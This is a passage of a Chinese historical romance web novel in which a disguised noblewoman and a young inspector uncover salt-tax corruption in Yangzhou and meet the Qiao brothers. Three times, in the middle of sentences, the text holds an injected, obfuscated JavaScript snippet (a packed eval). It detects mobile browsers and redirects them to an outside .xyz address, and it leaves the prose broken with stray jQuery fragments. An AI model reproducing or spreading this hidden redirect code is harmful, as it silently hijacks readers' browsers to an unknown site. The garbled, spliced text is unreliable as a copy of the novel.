此时的月光便又热切地迎上来，澄净的清辉毫无保留洒在他的眉梢，他扬着唇角，声音压得很低，像是安抚：“我们走小路，不会有人看到。” 季窈怔怔立在原地。 明月如霜，好风如水，他这一番暗昧不明的语句，一瞬间让季窈以为是私定终身的伴侣间的悄声密语。 她不敢胡乱深想下去。 于是少年弯下脊背，拦臂勾住少女的两只腿弯，一步一步慢慢往回走去。 他身上散发着若有似无的百濯香，混杂淡薄酒气，不可避免嗅闻几息，让小心揪着他肩头衣料的季窈觉得有些醉。 “公子与乔二公子作为同窗，既有许多话说，何不邀他改日相叙？”尽管如此，季窈仍不忘要事。 她须得想法设法与乔家人有所联系，笼络关系，这是她来扬州的唯一目的。 薛辞年脚步不停，举首望向夜空那占天下二分光华的明月，轻叹一声：“志不同者难相合，我与乔泊霖，就好比东行之水与西奔之马，从当初他离开照京的那一刻，就再无法回到从前了。” 再无法，回到从前么…… 季窈模模糊糊想着，那她与明华，与梁昀青，与他……或许亦如这东行之水与西奔之马，终是要背道而驰，抑或是刀戈相见的。 她没有缘由的，忆起最初对薛辞年的印象。 那是宫学开设的半载后，一个熏风入弦的朱明之日。 讲堂内暄暄闹闹的，原是多了一人。她隔着人群瞧过，才知是那失踪了一年，生死不明的薛家嫡子回来了。 父亲与薛相在朝堂政见不和，私下更是水火不容，季薛两家不相闻问，她与这薛辞年也不过几面之缘。 他的到来于季窈而言无关痛痒，于宫学中的纨绔子弟而言，却如攀得了可以兴风作浪的大树。宫学中愈发热闹起来。 有时季窈会在曲廊下远远望见他们身影，三五成群的，极为喧扰无状，而那薛辞年被他们簇拥围绕，分明也笑着，那双眼却是一片冷色，如飘着一层薄冰的冬湖。 他们分明不是一路人。 一回休沐之期，季窈归家几日，便入市集游逛，岂料竟碰上私逃出宫的明华。 明华扶着遮面的羃篱，露出张写满慌乱的芙蕖面，称太后的人追来了，要季窈帮她遮掩，好助她顺利混入漱玉坊。 漱玉坊乃照京有名的勾栏之地，除却众所周知的烟花贱业，内里亦有杂剧、说书、傀儡戏等诸般演艺，闲暇有时，甚有官员来此消遣。 季窈措不及防接了明华的羃篱，眼见她走的毫不留情，只得认命将自己的侍卫婢女全都使了去。 太后的人教此一拖，脚程慢了半拍，她戴着明华的羃篱，无奈卷入这场追逐之戏，四处狼狈地躲避追兵。 漱玉坊后巷的拐角，青砖松动着翘起一角，她奔逃间一时不察，不慎被绊倒在地。 此时迎面行来一行醉醺醺的少年人，他们似乎刚从这漱玉坊里出来，应是惧怕被家中长辈知晓，特意抄的后门小道。 季窈隔着羃篱的薄纱，认出正是宫学中的那群纨绔，不自觉紧张起来。 眼下崴伤的右脚令她难以起身，她如上了孤岛般峙于道路中央，进退两难，极有可能被他们认出身份。 一行人中醉的最狠的那人名唤乔泊霖，是户部侍郎的嫡次子，平日格外不学无术。 他踉跄着走到季窈跟前，言语轻浮地问她是哪家的姑娘，要不要他来扶。 身后的纨绔们哄笑着怂恿，乔泊霖便像是受到莫大鼓舞，摇摇晃晃伸出一只手，要去揭季窈遮脸的薄纱。 季窈避无可避，一颗心提到嗓子眼，刚欲出声威吓，一把折扇恰时将那欲要作祟的手压住。 顺着折扇向上，季窈透过云雾般的白纱，第一次仔细端量了这位新同窗的相貌。 桃花眼，弦乐眉，朱唇端鼻，双目湛湛，是一张极俊俏的少年面。 不同与其他人，少年那双上挑含情的眼睛一派清明，内里半分醉意也无，隐含些许凉意。 “小姑娘而已，别吓着她。”他这样说着，语气随意，神色却认真。 乔泊霖平日与他要好，听他出言劝阻，要去撩纱的手一转，自然地搭到他肩上，打趣道：“你倒懂得怜香惜玉。” 薛辞年但笑不语，以肘推开他，横转折扇让季窈得以借力起身，又思虑周全的，遣了随身的护卫送她回家。 季窈却无法承受他的好意，混入人群后，示意自己手下的侍卫将人引走，就此脱了身。 当日回府是黄昏，她沐过浴，伏在窗下的梨花木书案上，望着院中盛放的玉簪花，细细回想今日之事。 她隐约觉得，她似乎无意窥见了一个不甚相同的薛辞年，一个看上去玩世不恭，披着层骄狞外皮，内里却有着副柔软心肠的薛辞年。 她心中是感激他的。 季窈枕着手臂，在玉簪花的溶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923766|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溶香气中，微不可见地弯了下唇。 天边的余晖是一抹淡淡的胭脂，晚风柔软地吹，她不知不觉睡着了。 再醒来，是明华用力摇晃她的肩头，手中拿着金珠牙翠的什么，不甘心地问：“阿窈你快瞧呀！你瞧这泥人到底像谁？” 蝉鸣惊翳在叶中，讲堂内嘈杂的不成样子，她从书案上爬起身，揉着酸麻不已的胳膊，根本未听清她的话，眯着眼去瞄，“摩睺罗？” 周围的人闻言俱窃窃地笑，明华刺他们一眼，朝季窈嗔道：“哪里就是摩睺罗了？” 季窈昏昏的，一转眼，看云颜抱着把七弦琴从对面路过，瞥到她后，一脸的讶然：“季姑娘，你的面色怎这样白，可是天儿太热，害了暑？” 然则当初太后寿宴之上，云颜的不义之举早使二人归于陌路，安能如现在这般？ 季窈陡然觉得骇异。 她忽地推桌而起，不理众人异样的目光，格外失仪地转头向外走。 谁知迎面与一人相撞，少女新采的杜鹃花簌簌落了满地。 眼若柳叶，眉如双峰，少女因方才的冒犯蹙额扫视她。 是御史大夫之女孟挽疏。她性子冷淡，素日言谈也少，二人时常还会因校验魁首之争较于暗力，交情算不得深。 “生病了？”她还是问。 季窈一颗心突突直跳，来不及回她的话，一把将她拨开，夺门而出。 讲堂外是红墙绿树，黄瓦蓝天，廊桥弯如一道飞虹，岸畔落下的花瓣在桥下惊起一痕碧漪。 季窈提裙一路小跑上去，有所觉般侧目远眺，越过对面游廊檐枋下的倒挂楣子，与一双桃花眼遥遥相对。 那是一种置身于万物之外，平静的、不掺任何杂质的眼神。 少年们聚在一起肆意谈笑，丝毫未发觉廊桥上的她，唯有他，掠过一池清流翠色，直勾勾与她对视。 季窈读不懂他的眼神，更不敢停下脚步。 她不顾一切地往前跑，跑过廊桥，跑过宫门，跑到天幕黑得不剩一丝光，跑到大雨瓢泼，将她通身浇得湿透。 她终于见到了熟悉的府门。 除却噼啪砸响的雨声，周围静得犹同死寂，她跨上台阶，在湿润冰凉的水汽里，闻到一股被雨水冲淡的别样气息。 她用力推开沉重的朱门。 阴沉的雨幕下，横七竖八的尸体堆叠在一起，满院积水汇聚成了浑浊的深红，昔日生动的面目在此刻毫无生机，只有倾泻不停的雨。 季窈一瞬感觉支撑在心中的梁柱轰然坍塌，天地在倒转，空气在割裂，而她心神一灭，失力往前倒去…… 漫长而煎熬的梦终于散去，季窈睁开眼，床顶挂檐上繁复的果实花卉纹映入视线，她听到自己急促而清晰的呼吸声。 朝光穿过纱牖铺成绸缎，枝头画眉啁啾，与琳琅流水声一起淌进屋内。 她坐起身来，蜷指掐了把自己的手心，总算有了重回人间的实感。 房门被轻轻敲响，外面传来少年轻快的声音。 “阿婵，咱们游船去罢。” 8. 第 8 章 孙府斋室的书架由整棵沉香木所打，防虫蠹且幽香淡淡，经史典籍盈满其上，十分齐整的摆放。 孙知远就立于此书架前披卷沉吟。 “这朝中新指来的按察官，竟是个未及弱冠的少年，到底是长在照京的锦绣膏梁，只知玩物丧志。”他将书放回原处，负手行向置着青釉莲花香炉的条几，语气带着几分轻视，“听说今日一早，便起身游船去了。” 案前着墨的青年目不移卷，道一句：“大人所言未可。” 孙知远拨香的手微顿，“子锋何意？” 乔明韬笔尖游走，落下最后一撇，吹干纸上的墨渍，递予他，道：“属下年少时，曾与薛辞年同游，此子虽顽劣，却并非愚蠢之辈，薛丞相既狠心推了儿子进这火坑，必不会让他太难看地回去。” “他此番来扬州，总要拿走些什么，至于如何拿，拿多少，就不得而知了。” 乔明韬自父亲谪官后从书院肄业，做了孙知远帐下幕僚，近些年言权渐重，上到公书政令的起草撰拟，下至官员士绅间的往来酬酢，无不需要他的身影。 州大事繁，机务缠心，他昨夜赴宴前翻了一整日簿书，头重脚轻的，踏出房门的那刻两眼乍黑，一头便栽倒了下去。 醒来第一件事是让阿弟代他前去。 此举并非他谨于事上的仓促决定，而是别有用意。 泊霖和薛辞年自幼相识，一起长成并肩，纵是世殊事异，之间的情义也不是时间能轻易磨灭的。 他无妨在孙知远手下谋这卑位，一生依人作计，但泊霖不行，泊霖还年少，父亲的死因尚未查明，乔家声名狼藉…… 他已路歧难返，泊霖得是干干净净的泊霖。 待到西天云霞倒映河面，渔舟唱晚，季窈和薛辞年兴尽而归，沿着河畔不疾不徐往回走。 河中舟楫穿梭，有货郎摇橹而至，舟中载满香粽、菱角，粽香盈鼻，菱角青嫩，向二人吆喝：“粽角新熟，解暑佳品，姑娘公子可要买些尝尝？” 季窈见过亦吃过菱角，却从未有这舟上的这般新鲜，指着满满当当的蔑筐，好奇问：“这是何时采的？” “夕采菱角，福泽盈筐！自然是日落前！”货郎说着摇近，隔岸递一个给季窈尝。 灯火摇曳，身旁行人往来驻足，薛辞年解囊欲买，身侧已有人抢先，径自替他付了钱。 薛辞年眉梢微挑，转首看来，透亮缱绻的眸有些许冷冽，盯他许久，眉目忽尔一展，唤：“子锋兄。” “好久不见了，扶光。”乔明韬笑。 此处水陆并行、河街相邻，茶肆酒坊忱河而建，其内宾客对饮，谈笑之声隔岸可闻。 石基飞檐的木阁之中，乔明韬拢袖亲自为薛辞年斟茶，大概是久别重逢，惯来疏淡倨傲的人娓娓而谈：“记得最后一次与你相见，你还是个年方九龄的孩童小儿，与泊霖一起撞翻了父辈们对弈的棋盘，剩下一颗黑子无论如何也找不见。” 氤氲的茶气模糊彼此的视线，薛辞年在馥郁芳香中陷入回忆，“那副棋子由南红玛瑙、琥珀、翡翠等诸多珍贵玉石高温熔化后滴制而成，白如羊脂，黑如鸦青，乃棋中圣品。” “整个照京除了父亲，唯有你那里有一副。” 乔明韬眼尾弯出一弧浅纹，“我确是借出一颗解了你的急，你还于我的那颗，却足足令我怄了两年。” 薛辞年但听不语，频频提盏喝茶。 乔明韬观他心虚，也不主动戳破，便问季窈：“你可知，你家公子还了我一颗怎样的棋子？” 季窈安安静静随了他们一路，此时有心多言几句，认真思量须臾，答：“许是……与原本棋色相差甚远的棋子。” 乔明韬一愣，有些意外：“何以见得？” 少女的目光越过茶案与他交汇，温声细语，有理有据：“公子自小堆金积玉长大，并不缺材质上佳的棋子，奴婢亦未听闻过有什么棋子形状奇特的，想来只有在棋色上有所差异。” 乔明韬回想起昨日在渡口之畔，此女巧言如簧与他交锋，实非易与之人。 对薛辞年道：“你这侍女心灵有窗，颇有些智识。” 薛辞年牵一牵唇，并未多言。 “那是一颗赤色的棋子，被他唤作石榴子。”乔明韬绕回原题，语气包含几分感慨：“如今想来，这副棋倒也别具一格，只是可惜，在我离开鉴泉书院时，不慎焚于火海了。” “火海？”薛辞年面露诧异。 “你可还记得，平昭十六年屏阑山的那场山火？”乔明韬问。 薛辞年斟茶在手在半空定格半瞬，答：“记得。” 季窈闻此却是霎时抬眼。 在这世上，无人再比她对这场山火更镂心刻骨。 那年南疆动乱，父亲旧伤复发无法动身，不得不命义兄率兵先行，岂料三万大军止步屏阑山，主将及其精锐殒身遮天蔽日的火海。 春旱嶙峋，这场火来的顺理成章而恰巧至极，南疆鼙鼓动地，黎庶罹难，父亲匆匆翻过屏阑山，甚至不顾回头看上一眼，带兵投入厮杀中。 以血铺就的长道，用命捍卫的疆土，班师回朝后等来的，却是抄家灭族的死罪。 “那年父亲官场失意，乔家不堪，昔日的砚席之友逼我出走师门，我本存死志，火海中，是秦桓竭力相护，凭着最后一口气将我送出险境……” 季窈忍着两眼的酸涩和其中泪意，失态地想要深问几句，薛辞年已当先出声：“他既能助你脱困，想必仍有一线生机，为何没有同你一起走出火海？” “他说……”乔明韬微微眯眼，似是再度看到了那年火光汹涌的怒潮，以及火光中决绝转身的背影。 “麾下兄弟皆殇，朝雨何忍独生，惟愿随赴黄泉，以全袍泽之义。” 这句话后，是久久的沉默。 他们都明白，顺安候的这位义子，这位征战四方，得陛下看重的怀化郎将，若能活着，定是来日国之干城。 可惜。 茶壶见底，乔明韬以指描绘着桌上摇晃的烛影，这才状似不经意提及：“家中变故后，泊霖寡言了许多，你二人松柏之谊，平日若不忙，让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923767|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随你多走动走动。” 当初屏阑山的大火，不单单带走了那位年轻将才的性命，还有乔明韬的一身傲骨。 从茶肆出来时，仍是千灯万火映照，灯辉连着水色，阛阓喧阗如昼日。 薛、乔二人就此作别，分离之际，薛辞年身后的婢女袖随风摆，无声落出一物。 恰落在乔明韬脚下。 乔明韬见状欲要将人叫住，低头间，借着岸边的波光看清是何物后，愣是一丝声音都发不出来。 他不可置信呆立一会儿，而后缓缓蹲下身，颤着手伸向地上的木符牌。 携着温润水汽的夜风，吹来时好似薄纱拂面，乔明韬静止不动般蹲在原地，将那失而复得之物紧紧攥进手心。 良久，他抬起头，身侧水光照清他半红的眼睑，而他牢牢盯着那抹走远的纤细背影，若有所思地喃喃：“阿檀……” * 扔下木符牌，是季窈临时起意。 从前她与乔明韬的交谊，浅得几近陌路，这两回见面将其性情揣摩出个大概。 乔明韬不比乔泊霖，直探直问只会让他对自己筑高心墙，无路可进，难以寻求线索。 欲安其心、客作主，莫若令其自察究竟。 天衣无缝的身份，合情合理的经历，不必季窈多费口舌，乔明韬自会在心中替她清洗疑窦。 而乔明韬这一查，直到了七日后—— 悠悠碧水仿若天境初开，湖上雾气氤氲，轻舟行上，破水划开淡淡水痕，远看好似水墨一点。 船夫蓑衣斗笠，手中长桨入水轻盈，船舱的竹蓬上偶有水珠滚落，“嘀嗒”一声，落在其下的舷窗上。 一只白胖的手伸出窗外，惬意地感叹：“久未得此闲暇矣。” 男子身穿月白色的袍衫，头戴银冠，手摇折扇，俨然一派文人雅士之风，只是束腰的革带略紧，似有一股崩开之势，因是其大腹翩翩，若怀瓠爪，往席间一坐，几要占了半只船的位置。 随侍连连附和：“大人平日公务冗繁，总该歇一歇的。” 说着朝一旁煮茶的侍女催促，“动作快些！大人等得口都燥了！” 张玄倒是好脾气地拦了拦他，诲导道：“对待姑娘家，勿要如此疾言厉色。” 好在面覆白纱的侍女并未因此有所慌张，舟楫漂浮不定，她动作很慢很稳，奉茶行至近前时，却不知为何腕一偏，滚烫的茶汤瞬间倾洒，瓷盏乍然溅地。 随侍还未来得及呵斥，眼前明光一折，缓过神，一柄刀刃已架在了张玄颈前。 一时间四下皆动，船身剧烈摇晃，里里外外的护卫皆亮了刀剑。 张玄脸上的肥肉因这意外吓得抖了几抖，口中道：“谋杀朝廷命官，你好大的……” 利刃贴上皮肉时立刻噤了声，抬抬手，示意护卫不可妄动。 船不知什么时候停了，舱门的竹帘被挑开，逆着光显现出一抹清瘦挺拔的身影。 “张大人，我这侍女平日跟着我胡闹惯了，下手没个轻重，还是莫要伤到您为好。”那人声音带笑。 9. 第 9 章 日轮高升，金光照彻，雾霭受之消散无形，水波拍打着船舷，粼粼水光投进舱室。 一片安静中，他摘下斗笠入船。 张玄看着面前的陌生面孔，十分茫无端绪，遂问：“阁下何人？” 少年径自入座，泰然拱手：“晚辈薛辞年，朝中携诏新来的按察使，张大人，久仰。” 张玄闻之冷哼：“小薛大人新官上任，好大的阵仗。” 薛辞年却叹一声，状似为难，“先是金部的郎中大人因公负创，后有大理寺少卿办差不力，为陛下责罚，晚辈少经世事，仓促担此大任，当真是不安，这才不得不设法取巧。” “假乖示拙，谋定而后动。”张玄审视着他，“小薛大人既有此胆识，如今又是何意？” 薛辞年避不接话，反倒说起其他，“大人自平昭四年入仕，十一年由婺州知州调任这两淮仓司公事，掌茶盐之利，主钞引之法——” 他倏尔话锋一转：“这六年时间，您从这盐引上谋了多少好处？又昧了朝廷多少税？您还算得清吗？” 张玄怔忪片刻，随即反应过来，冷笑道：“好一个初出茅庐的年少官人，赤口白舌的一遭言说，便要定本官的罪。” “晚辈哪里敢？”薛辞年态度谦和，神色却不然。 他稍稍倾身，隔着竹几凑近被挟持的张玄，将声音压得极低：“只是这些年，诸位大人守着偌大的两淮盐场，谁又能比谁干净？” “无据之辞，何以凭信？”张玄不为所动。 薛辞年啧一声，“若晚辈记得不错，大人的亲阿姐早年嫁于京畿县尉，您这姐婿倒也争气，后来一路高迁，年前方受家父举荐，坐稳殿中侍御史的位置……” 张玄一双小眼瞠得极圆，若非有刀架着，只怕要拍案而起，“薛辞年，你威胁本官！” “大人言重。”薛辞年安抚，“以‘孝敬数’向盐商发放盐引，从中牟利，相比于那未觉之患，若要回京交差，您便是我那懋功之凭。” 对上张玄不可置信的眼神及弱下的气势，薛辞年贴心解释：“这自然不是我短短时日能查出来的，毕竟大理寺少卿那样颖悟决断之人，既亲身至此，怎会真的一无所获？” “你昔年于他有恩，忠义不能两全，他已在尽力保你。”他低声道。 张玄浑身的力气像是被抽去，容色挣扎半晌，望向薛辞年，“你要我做什么？” 得到这话，季窈与薛辞年对视一眼，收了手中短刀，退至他身后。 “凡大人所晓，还请悉以告知。” 张玄得了解脱，长舒一口气，用帕子拭着颈上的血，道：“方才你也说了，这扬州上下就没有干净的，我知道的并不多，但要说易于着手，你不妨去下面的盐场看一看。” 此时几人已心照不宣，去岁金部郎中落水，至今还昏迷不醒之事，想来不是个意外。 船身又是几番簸荡，张玄早没了继续游玩的兴致，要带着侍从换新船回岸去。 舱门的竹帘再度被掀开，他半边身子本已探出门外，不知为何又缩了回来，整只船随着他的步子左摇右摆。 “你这姑娘，瞧着弱不禁风，下手也忒狠！疼死本官了！”他像是极为气不过，回过头到季窈跟前控诉。 季窈目光落在他短白脖颈上的那道血线，唇角的笑意有些干，“张大人，您颈上的血都已凝了。” 张玄闻言又是语噎，又是尴尬，对着她到底说不出什么重话，痛心道：“亏我方才还为你说话！” 转头哼哧哼哧下船了。 几人的动作在船内留下一阵余荡，倒映的湖光碎作银屑，慢悠悠在船内二人面上晃。 季窈看一眼身旁忍笑不语的薛辞年，心觉他这副作壁上观的架势着实令人气闷，平日教他惯着，倒也有几分小性子，故意问道：“公子笑什么？” 薛辞年少见她如此反应，面上的促狭之意更深，直言不讳：“在笑阿婵以后的夫君。” 他这话说的莫名，季窈面露不解。 “往后与阿婵相伴的若是个放纵驰荡的儿郎，只怕总是要受嫌。”薛辞年凭着适才她对张玄的态度，有了大致的定论。 他这话，让季窈想起了两年前，她的及笄之礼方毕，便有媒妁登门造访。母亲亦引以为重，历数京中豪门贵胄、衣冠望族，终挑选出几名适龄才俊，劝她相看。 “这些世家子个个前途坦荡、后宅清净，日后持家只会是安闲主母，一生福泽深厚，有何不好？” 母亲千挑万选出来的，自然没什么不好，可她却不知为何很不满意，没头没尾道出一句：“任情恣性，便不能福泽一生么？” 那时兰闺寂寂，季窈尚有心思去想良人何许，而今她心有所系，无暇、也无资格再顾及风月。 是以转了话题，“除却张玄盐务谋私的罪证，少卿大人就当真无旁的复命？” 她早已因此心生怪异，这位大理寺少卿乃是出了名的铁心硬腕，凡是由他拨拉过的官员，就没能从他手里囫囵爬出来的，而今私盐买卖端倪尽显，他却陡然失利，属实是出乎意料。 “还有孙知远。”薛辞年道。 季窈一时不明，“那为何……” “不同的是，孙知远太干净。”薛辞年望向窗外澄澈起伏的水面，沉吟道：“净极而生异，这孙知远掌一路财赋转运，乃要害之位，银钱粟帛悉经其手，就当真能不涉丝毫苟且？” 季窈注视着他，在粼粼光影中与他目光交汇，一对瞳仁中尽是灵慧之色，慢慢道：“先是佯装傲岸，荒于嬉乐，令众人心生懈怠而陷入公子布设的温柔阱中，再以威逼利诱之计，稳住张玄，探得机密，好助往后行事顺遂……公子妙策。” 她这样说着，纤长的眼睫微垂，眸中闪过一丝不易察觉的迷惘。 沉着，敏锐，巧捷万端。这与她从前看到的薛辞年，哪里是有着些许差别？分明全不相同。 究竟是变得太多，还是向来隐匿锋芒，如张玄口中那般假乖示拙……想至此处，季窈略微感到气闷，伸手欲去解系在面上的白纱。 船只随波摇动，湖光似灵动的雀儿，忽在她的眉梢轻颤。 “别摘。” 季窈抬眼。 斑驳晃亮的光影教她看不清眼前少年的神色，只能依稀辨别出他的眉目轮廓，薛辞年顿了顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923768|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，说：“悬鉴楼里恐还有人盯着，待到回去再摘罢。” 二人假借悬鉴楼听戏，甩下了跟在身后的眼线，乔装改扮一番，在一片嘹亮乐声里混了出来，到这湖心船上，坐候今日来此的张玄。 此行尚算得上顺利。 季窈轻轻应一声，见他似在出神，疑惑唤道：“公子？” “无事。”薛辞年生硬地别开眼，起身道：“该回了。” 穿过廊庑间森茂的花木，拨开厅院垂挂的绯绿幕帘，橘红纱罗的栀子灯点了一半，高阁掩映之下，能看到栏外座无虚席。 季窈和薛辞年已悄然回座。 台上正唱一曲《还魂记》，曲至最末，看客看得专注。 净角唱着：“众生佛，无自体，一切相不真实……” 云师掀帘入内，恰与整理裙裳的季窈迎面相碰，急忙错开视线，朝屏风后的人影禀道：“公子，方才孙大人的人来过。” 薛辞年也才将原先的衣裳换上，整着袖口从屏风后绕出来，问：“说什么？” “请您去漕司一趟。” 他一愣，“可是察觉出什么了？” 云师摇头，“人是从衙署过来的，瞧着不像。不过他们安插在楼里的耳目一直不见您露面，确也有几分试探之意，属下只说您还要再听一会儿戏，把人打发走了。” 薛辞年哂笑着，不疾不徐坐入太师椅中，吩咐道：“将帘栊挑得开些，这戏还要再听几场呢。” 戏腔愈发高亢激昂，抑扬顿挫间拉着看客的心绪跌宕，却也有人游离其外。 “雨师为何不在？”季窈偏头问。 云师听不明白台上那些风雅之艺，兴致缺缺回她：“另有差遣，临来扬州的前一夜，往潍州一带去了。” 那时他雀跃说奉了公子之命，要去与那背后之人过招，因此随公子来此的近卫只有他一个。 这几日不得他的消息，云师不免悬心，他这阿弟虽已是暗卫中的翘楚，但这背后之人不知什么来路，行踪诡谲，手段阴险，远没有他想象中那样好对付，只盼他不要掉以轻心。 季窈和薛辞年归府时已是暝色四合，府门外停一辆青榆材质的马车，车壁前羊角灯幽暗，照亮乔明韬黑透的一张脸。 “原来小薛大人还知道回来，这一整日，漕司的人三催四请，你却始终不肯回程，如此耽于玩乐，置政务于不顾，未免太过儿戏！” 他这怒其不争的斥责，不似如今的转运司长史，倒像极了昔日那个天资过人、卓尔不群的乔家长兄。 薛辞年神情自若，含笑说：“子锋兄何必如此动怒？这落下的公务，我彻夜不眠捡回来便是，不止于此。” 说罢踩上车凳，头也不回地向后摆手，示意自己一人前去。 乔明韬余气未消，反让薛辞年这招回得哭笑不得，一转眼，见季窈正安静立在一侧，目光遥送马车驶离。 察觉他的视线，施施朝他行礼，而后转身欲要进府。 “阿檀姑娘，留步。” 远处蛙鸣阵阵，近旁微风拂叶，今夜月色迷蒙如雾，头顶樟树投下的阴翳掩在季窈身上，她的唇角轻轻一扬。 10. 第 10 章 乔明韬身着的襕衫是素淡的青，在高墙暗色的笼罩下，像是被骤然抽去生气，变做一种冷硬的灰。 季窈回首看到他，一时竟觉得他与多年前庆宴之上，那个风光无量的少年相去甚远，远的她心生割裂，难以将这二人混为一谈。 她不肯动身，明知故问：“乔长史有何吩咐？” 乔明韬抬一抬手，做请的手势：“可否借一步说话？” 季窈这才挪了步子，道：“奴婢尚有差事未做完，在此处便可。” 乔明韬也不强求，顿一顿，状似好奇，“不知姑娘乡贯何处？” “奴婢贱籍，长自江州的乡野小地，长史恐未曾耳闻。”季窈规规矩矩答话。 她言辞虽隐晦，所言却非虚，乔明韬在这几日已将其出身来历查探分明，确实是蝼蚁之众，并非系于谁人帐下。 不动声色睨她良久，见她始终低垂双目，是作为仆婢之流该有，以示顺从和卑贱。 正是疑云满腹暗暗思量，少女恰时抬眼看他，“乔长史还有旁的事么？” 乔明韬因这突然的对视僵了一瞬，随即在心中无声承认，在见到她的第一面，他便发觉她的眼睛生得甚为好看，清炯炯的，像扬州的水。 然而此时此刻，他又忽然觉得不像。 他觉得更应像京城的玉，温润的，质坚的，明润而透亮。 可他深知，在这双极具欺骗性的眼睛下，只怕也是剑戟森森，甚至可能掩藏着无人知晓的隐事。 于是他近乎光明正大的试探，“阿檀姑娘与我们乔家……可曾有什么联系？” “奴婢位卑人轻，不敢妄自攀附。”季窈不入他的言语之彀。 乔明韬看不穿她这是装傻充愣还是当真全然不懂，懒得再去迂回，直截了当亮出那枚木符牌，“那这又是何物？” 谁知季窈面色一变，扬手欲夺，“还我！” “还？”乔明韬向后撤臂，觉得可笑，“我母亲为我父亲求来的护身木符，我父亲的贴身之物，如何会出现在你的身上？” 季窈拧眉，“乔长史既说是你家的东西，拿走便是，何以来质问我一个保管之人？” 相比于方才的屏气吞声，她如今流露出的恼怒实为突兀，若要静下心来忖度，就能发觉其中企图——她在刻意挑乱他的心绪。 可乔明韬已不顾留意这些，“我父亲出事前，你见过他？” “乔大人奴婢不认得，但这木符牌的主人，我确实见过。”季窈这样说。 两肩遽然一痛，乔明韬闻言用力扣住她的肩膀，连连追问：“你为何会见到他？适才又为何用的‘保管’二字？这之间究竟发生了何事？” 这痛意刺得季窈止不住后退，如今在她面前的乔明韬，通身的颓倦之气，眉宇间尽是失意与燥郁，恍然间让她意识到，他与她原本就是一样的。 一样都是这场疾风骤雨中被打湿羽毛的雏鸟，千斤负重，集矢之的，光是挣扎着存续，就已榨干了浑身力气。 沙沙树响婆娑在她的话音上，随着风飘荡着，“去岁夜半，家中都已鼾睡，忽有一人至，急叩院门，父亲披衣相迎，见他行色匆匆，略带惊恐，遂问其缘由，此人言辞闪烁，称久留无益，有累及他人之虞，吃了半盏茶便走了。” “这护身木符，是他临走遗落下来的。” 乔明韬沉默良久，松开手，恢复了往常的平静。 他将木符牌妥当收好，“他可曾留下什么话？” “似乎有……”季窈作势回想。 夜空中的云层淡而薄，月光浅得近乎透明，落下的华晕霭霭沉沉，却掩不住乔明韬眼中的探求之色。 “与虎谋皮，焉有其利。”她落定这句。 “什么？” 乔明韬眸光微怔，好似没听清，季窈却辨出他言语间的几分失调，咬定重复：“与虎谋皮，焉有其利。” 月色清幽，和风骀荡，二人的交谈止于这句不知真假的告诫之言，季窈最先作别。 不大的宅邸，庭院却辟得开阔，庭中山石嶙峋，花草相映，一池清水潺潺，池中偶有几尾鱼嬉戏。 季窈沿着幽径不紧不慢往回走着，片片水影自她的面上悠然拂过。青黛如弯月的眉，善睐似杏核的眼，朱唇皓齿，秀颈削肩，还有眉心鲜妍的、时而随光跃动的凤羽印。 她并不急着在乔明韬的身上探寻真相，乔明韬疑心太重，必不会轻信他人。 一个漏洞百出的谎话，一句半猜半赌的遗言，一心想要破解迷雾的人不止她一个，她能够确信，乔明韬定会再来寻她。 反观薛辞年这边，一整日的戏文听得他头昏脑胀，桌案上高堆的税册似要把他整个人压进去，他撑着额，不知是苦恼还是闭目养神，总之案角的膏烛是勤勤恳恳燃了一夜。 待得第二日，衙署的小厮端着早食绕过廊舍，推开房门，发现屋内空空荡荡，只剩烧尽的残烛一点，还有翻开半本的税册随风哗啦清响。 薛辞年早就跑了。 孙知远得知消息又气又笑，为官多年，他从未见过这等滑不留手的年轻官员，当即派人再度去薛辞年的宅邸请人——又扑了个空。 “往哪里去了？”孙知远持着铰刀仔细修剪五针松的枝叶，声线平淡中带着习以为常的麻木。 衙役拱手回：“听人说是……上新月桥畔投壶去了。” 他讽笑出声，摇着头感叹：“我们一世英名的薛大丞相，可真是生了个好儿子，子锋你说呢？” 一旁的乔明韬不置可否，出言提醒：“大人，自京中调下视察盐务的官员，没有不先翻阅税册的，依属下所见，还是将小薛大人请回来为好。” 孙知远看他一眼，意会道：“你说的不错。” 他搁了铰刀，擦着手吩咐：“快去请小薛大人回司，这次若还是请不动，就直接抓。” * 湖水碧波荡漾，漫起一层翠色的烟霭，长长的石桥横跨一湾绿水，桥边的芍药、月见、栀子等映在水边，清冽的草木气息与馥郁花香一并盈入鼻腔。 这繁花艺品并非植于泥地，而是由人采撷携市，专程兜售。 